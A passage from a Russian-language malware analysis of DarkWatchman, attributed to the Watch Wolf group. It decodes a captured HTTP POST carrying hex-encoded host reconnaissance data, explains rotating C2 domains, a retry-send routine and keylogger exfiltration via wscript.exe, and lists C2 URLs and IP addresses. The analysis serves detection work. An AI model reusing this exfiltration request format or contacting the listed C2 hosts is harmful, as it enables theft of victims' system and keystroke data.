CALL, IWINHTTPREQUEST -> SEND(VT_BSTR) Parameter_1:"OS=57696E646F777320313020456E746572707269736520414D443634 &CN=4445534b544f502d4d435643384655 &UN=61646D696E &B=0 &L=EN-US &ADM=0 &PD=0 &DR=0 &AV=57696E646F777320446566656E646572"
Раскодированный вид:
OS = Windows 10 Enterprise AMD64 CN = DESKTOP-MCVC8FU "Имя ПК" UN = admin "пользователь" B = 0 "Time Bias / Временная метка не отличается от UTC" L = EN-US язык системы ADM = 0 "0=Неизвестно Имеет ли пользователь права администратора" PD = 0 "0=Неизвестно Является ли частью домена" DR = 0 "0=Неизвестно Роль в домене" AV = Windows Defender
Раскодировать Hex2Bin из шестнадцатеричного формата в текстовый формат можно через обычный онлайн‑декодер.
Для связи с сервером ВПО использует динамически формируемый список доменов. То есть формируется URL, к которому добавляются возможные доменные зоны. Такой подход позволяет избежать блокировок, если один из доменов будет недоступен или заблокирован.
Затем из полученного списка формируются конечные адреса для подключения к C2‑серверу. Это затрудняет блокировку инфраструктуры злоумышленников, поскольку используемые домены могут постоянно меняться.
Ниже приведены примеры сформированных URL‑адресов. Конечная точка в каждом случае — файл index.php, на который ВПО отправляет данные POST‑запросом.

За надежную передачу данных отвечает функция srv_send_data, которая при сбое автоматически повторяет отправку до 10 раз. Если первая попытка оказывается неудачной, ВПО повторно отправляет запрос, повышая вероятность успешной доставки данных на сервер управления.

Собранные данные о хосте и информация, перехваченная кейлоггером, отправляются на C2‑сервер в POST‑запросе. Этот запрос выполняет процесс wscript.exe, в котором запущен скрипт bb926e540.js.
HTTPS://FB0BF2B1.SHOP/INDEX.PHP HTTPS://FB0BF2B1.FUN/INDEX.PHP HTTPS://73C9EFBB.SHOP/INDEX.PHP HTTPS://FB0BF2B1.SPACE/INDEX.PHP
Устанавливается TCP‑соединение с командным центром C2 злоумышленника, что соответствует технике MITRE ATT&CK Command and Control.
15.197.130[.]221 95.211.190[.]243 49.13.77[.]253 185.159.131[.]185
Собрав информацию о системе, злоумышленник может планировать дальнейшие действия. Установка связи с C2 позволяет ему управлять устройством, выполнять команды и извлекать данные.


Собрали техники, выявленные в процессе динамического анализа образца, в карту MITRE ATT&CK:

Проанализировав всю информацию, можем раскрыть организаторов этой кампании — группировку Watch Wolf, распространяющую вредоносное ПО DarkWatchman с помощью фишинговых атак.
Несмотря на примитивность некоторых методов, анализ поведения ВПО — это ключ к его эффективному обнаружению и нейтрализации. Для этого необходимо внимательно изучить, как программа ведет себя в операционной системе. На вредоносную активность могут указывать запущенные или порожденные программой процессы, создание скрытых файлов, изменение реестра, регистрация неподписанных DLL, создание запланированных задач, а также необычная сетевая активность, свидетельствующая о попытках установить связь с удаленным сервером. Все эти признаки помогают выявить угрозу и определить, какие изменения ВПО внесло в систему.
Статический анализ позволяет исследовать программу без ее запуска, обнаружить вредоносные паттерны или подозрительные вызовы, которые могут быть неочевидны в ходе динамического анализа. Сочетание динамического и статического подходов дает исследователю полное представление о возможных угрозах и позволяет локализовать и нейтрализовать вредоносные компоненты.